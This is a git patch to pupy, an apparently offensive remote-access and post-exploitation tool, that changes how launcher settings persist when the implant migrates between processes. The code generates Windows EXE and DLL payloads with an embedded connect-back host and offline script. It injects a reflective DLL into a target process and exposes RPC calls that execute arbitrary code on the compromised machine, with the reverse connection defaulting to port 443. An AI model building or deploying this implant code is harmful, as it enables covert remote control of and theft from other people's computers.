From 14fadc222638191cd59d2b45b1036a9d41c8753d Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Fri, 20 Nov 2015 17:44:06 +0100 Subject: [PATCH] launcher config now persists through process migration --- pupy/modules/migrate.py | 4 +- pupy/network/base_launcher.py | 10 +++- pupy/network/launchers/auto_proxy.py | 2 +- pupy/pp.py | 32 ++++++++--- pupy/pupygen.py | 85 +++++++++++++++++----------- pupy/pupylib/PupyClient.py | 8 +++ pupy/pupylib/PupyServer.py | 3 +- pupy/pupylib/PupyService.py | 1 + 8 files changed, 96 insertions(+), 49 deletions(-) diff --git a/pupy/modules/migrate.py b/pupy/modules/migrate.py index ccc78ac8..3961c08a 100644 --- a/pupy/modules/migrate.py +++ b/pupy/modules/migrate.py @@ -48,10 +48,10 @@ class MigrateModule(PupyModule): if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True self.success("process is 64 bits") - dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport) + dllbuff=pupygen.get_edit_pupyx64_dll(self.client.get_conf()) else: self.success("process is 32 bits") - dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport) + dllbuff=pupygen.get_edit_pupyx86_dll(self.client.get_conf()) self.success("injecting DLL in target process %s ..."%pid) self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) self.success("DLL injected !") diff --git a/pupy/network/base_launcher.py b/pupy/network/base_launcher.py index 21e102bd..4c6b0d3d 100644 --- a/pupy/network/base_launcher.py +++ b/pupy/network/base_launcher.py @@ -17,9 +17,13 @@ class LauncherArgumentParser(argparse.ArgumentParser): def __init__(self, *args, **kwargs): argparse.ArgumentParser.__init__(self, *args, **kwargs) def exit(self, status=0, message=None): - if message: - self._print_message(message, sys.stderr) - raise LauncherError("exit with status %s"%status) + #if message: + # self._print_message(message, sys.stderr) + raise LauncherError(message) + def error(self, message): + #self.print_usage(_sys.stderr) + self.exit(2, str('%s: error: %s\n') % (self.prog, message)) + class BaseLauncher(object): arg_parser=None diff --git a/pupy/network/launchers/auto_proxy.py b/pupy/network/launchers/auto_proxy.py index 0bc4ddd0..3b30a801 100644 --- a/pupy/network/launchers/auto_proxy.py +++ b/pupy/network/launchers/auto_proxy.py @@ -120,7 +120,7 @@ class AutoProxyLauncher(BaseLauncher): def __init__(self, *args, **kwargs): super(AutoProxyLauncher, self).__init__(*args, **kwargs) def init_argparse(self): - self.arg_parser = LauncherArgumentParser(prog="simple", description=self.__doc__) + self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__) self.arg_parser.add_argument('--host', metavar='', required=True, help='host:port of the pupy server to connect to') self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ") self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP") diff --git a/pupy/pp.py b/pupy/pp.py index eb8088ef..a6b2f5dc 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -80,6 +80,15 @@ class ReverseSlaveService(Service): def exposed_execute(self, text): """execute arbitrary code (using ``exec``)""" execute(text, self.exposed_namespace) + + def exposed_get_infos(self, s): + """execute arbitrary code (using ``exec``)""" + import pupy + if not s in pupy.infos: + return None + return pupy.infos[s] + + def exposed_eval(self, text): """evaluate arbitrary code (using ``eval``)""" return eval(text, self.exposed_namespace) @@ -121,27 +130,34 @@ def main(): args=parser.parse_args() LAUNCHER=args.launcher LAUNCHER_ARGS=shlex.split(' '.join(args.launcher_args)) + + if not LAUNCHER in conf.launchers: + exit("No such launcher: %s"%LAUNCHER) + if "windows" in platform.system().lower(): try: import pupy config_file=pupy.get_pupy_config() exec config_file in globals() - pupy.get_connect_back_host=(lambda: HOST) except ImportError: logging.warning("ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL") - #else: - # add_pseudo_pupy_module(HOST) - - if not LAUNCHER in conf.launchers: - exit("No such launcher: %s"%LAUNCHER) launcher=conf.launchers[LAUNCHER]() try: launcher.parse_args(LAUNCHER_ARGS) - except LauncherError: - exit() + except LauncherError as e: + launcher.arg_parser.print_usage() + exit(str(e)) + if "pupy" not in sys.modules: add_pseudo_pupy_module(launcher.get_host()) + else: + pupy.get_connect_back_host=launcher.get_host + + import pupy + pupy.infos={} #global dictionary to store informations persistent through a deconnection + pupy.infos['launcher']=LAUNCHER + pupy.infos['launcher_args']=LAUNCHER_ARGS attempt=0 while True: diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 01f069f2..fb97928a 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -7,24 +7,28 @@ import argparse import sys import os.path import re +import shlex from pupylib.utils.network import get_local_ip -from network.conf import transports +from network.conf import transports, launchers +from network.base_launcher import LauncherError -def get_edit_pupyx86_dll(host, ip, transport, offline_script=None): - return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport, offline_script) +def get_edit_pupyx86_dll(conf): + return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), conf) -def get_edit_pupyx64_dll(host, ip, transport, offline_script=None): - return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport, offline_script) +def get_edit_pupyx64_dll(conf): + return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), conf) -def get_edit_pupyx86_exe(host, ip, transport, offline_script=None): - return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport, offline_script) +def get_edit_pupyx86_exe(conf): + return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), conf) -def get_edit_pupyx64_exe(host, ip, transport, offline_script=None): - return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport), offline_script +def get_edit_pupyx64_exe(conf): + return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), conf) -def get_edit_binary(path, host, port, transport, offline_script=None): - if not offline_script: +def get_edit_binary(path, conf): + if not "offline_script" in conf: offline_script="" + else: + offline_script=conf["offline_script"] binary=b"" with open(path, 'rb') as f: binary=f.read() @@ -41,9 +45,13 @@ def get_edit_binary(path, host, port, transport, offline_script=None): elif len(offsets)!=1: raise Exception("Error: multiple offsets to edit the config have been found") - new_conf="HOST=\"%s:%s\"\nTRANSPORTS=[%s,{}]\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script) + new_conf="" + new_conf+="LAUNCHER=%s\n"%(repr(conf['launcher'])) + new_conf+="LAUNCHER_ARGS=%s\n"%(repr(conf['launcher_args'])) + new_conf+=offline_script + new_conf+="\n\x00\x00\x00\x00\x00\x00\x00\x00" if len(new_conf)>4092: - raise Exception("Error: config or offline script too long") + raise Exception("Error: config or offline script too long\nYou need to recompile the dll with a bigger buffer") binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):] return binary @@ -53,50 +61,59 @@ if __name__=="__main__": parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)") parser.add_argument('-o', '--output', help="output path") parser.add_argument('-s', '--offline-script', help="offline python script to execute before starting the connection") - parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)") - parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ") - parser.add_argument('host', nargs='*', help="connect back host") + parser.add_argument('launcher', choices=[x for x in launchers.iterkeys()], default='auto_proxy', help="Choose a launcher. Launchers make payloads behave differently at startup.") + parser.add_argument('launcher_args', nargs=argparse.REMAINDER, help="launcher options") + args=parser.parse_args() - myhost=None - if not args.host: - myip=get_local_ip() - if not myip: - sys.exit("[-] couldn't find your local IP. You must precise an ip or a fqdn manually") - myhost=myip - else: - myhost=args.host[0] - if re.match("^.*:[0-9]+$", myhost):#auto fixing errors when entering host:port - myhost, p=myhost.rsplit(':',1) - if args.port==443: - args.port=p + l=launchers[args.launcher]() + while True: + try: + l.parse_args(args.launcher_args) + except LauncherError as e: + if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: + myip=get_local_ip() + if not myip: + sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually") + print("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip) + args.launcher_args.insert(0,"%s:443"%myip) + args.launcher_args.insert(0,"--host") + else: + l.arg_parser.print_usage() + exit(str(e)) + else: + break script_code="" if args.offline_script: with open(args.offline_script,'r') as f: script_code=f.read() outpath=None + conf={} + conf['launcher']=args.launcher + conf['launcher_args']=args.launcher_args + conf['offline_script']=script_code if args.type=="exe_x86": - binary=get_edit_pupyx86_exe(myhost, args.port, args.transport, script_code) + binary=get_edit_pupyx86_exe(conf) outpath="pupyx86.exe" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="exe_x64": - binary=get_edit_pupyx64_exe(myhost, args.port, args.transport, script_code) + binary=get_edit_pupyx64_exe(conf) outpath="pupyx64.exe" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="dll_x64": - binary=get_edit_pupyx64_dll(myhost, args.port, args.transport, script_code) + binary=get_edit_pupyx64_dll(conf) outpath="pupyx64.dll" if args.output: outpath=args.output with open(outpath, 'wb') as w: w.write(binary) elif args.type=="dll_x86": - binary=get_edit_pupyx86_dll(myhost, args.port, args.transport, script_code) + binary=get_edit_pupyx86_dll(conf) outpath="pupyx86.dll" if args.output: outpath=args.output @@ -106,8 +123,8 @@ if __name__=="__main__": exit("Type %s is invalid."%(args.type)) print("binary generated with config :") print("OUTPUT_PATH = %s"%os.path.abspath(outpath)) - print("HOST = %s:%s"%(myhost, args.port)) - print("TRANSPORT = %s"%args.transport) + print("LAUNCHER = %s"%repr(args.launcher)) + print("LAUNCHER_ARGS = %s"%repr(args.launcher_args)) print("OFFLINE_SCRIPT = %s"%args.offline_script) diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py index 0ec792c0..d7bdd745 100644 --- a/pupy/pupylib/PupyClient.py +++ b/pupy/pupylib/PupyClient.py @@ -38,6 +38,14 @@ class PupyClient(object): def __del__(self): del self.desc + def get_conf(self): + dic={} + if "offline_script" in self.desc: + dic["offline_script"]=self.desc["offline_script"] + dic["launcher"]=self.desc["launcher"] + dic["launcher_args"]=self.desc["launcher_args"] + return dic + def short_name(self): try: return self.desc["platform"][0:3].lower()+"_"+self.desc["hostname"]+"_"+self.desc["macaddr"].replace(':','') diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index bf30ad6a..176b2845 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -141,8 +141,9 @@ class PupyServer(threading.Thread): "macaddr" : l[6], "pid" : l[7], "address" : conn._conn._config['connid'].split(':')[0], + "launcher" : conn.get_infos("launcher"), + "launcher_args" : conn.get_infos("launcher_args"), }, self)) - if self.handler: addr = conn.modules['pupy'].get_connect_back_host() server_ip, server_port = addr.rsplit(':', 1) diff --git a/pupy/pupylib/PupyService.py b/pupy/pupylib/PupyService.py index 20a5697d..a896721b 100644 --- a/pupy/pupylib/PupyService.py +++ b/pupy/pupylib/PupyService.py @@ -50,6 +50,7 @@ class PupyService(rpyc.Service): self.execute=self._conn.root.execute self.exit=self._conn.root.exit self.eval=self._conn.root.eval + self.get_infos=self._conn.root.get_infos self.builtin=self.modules.__builtin__ self.builtins=self.modules.__builtin__ self.exposed_stdin=sys.stdin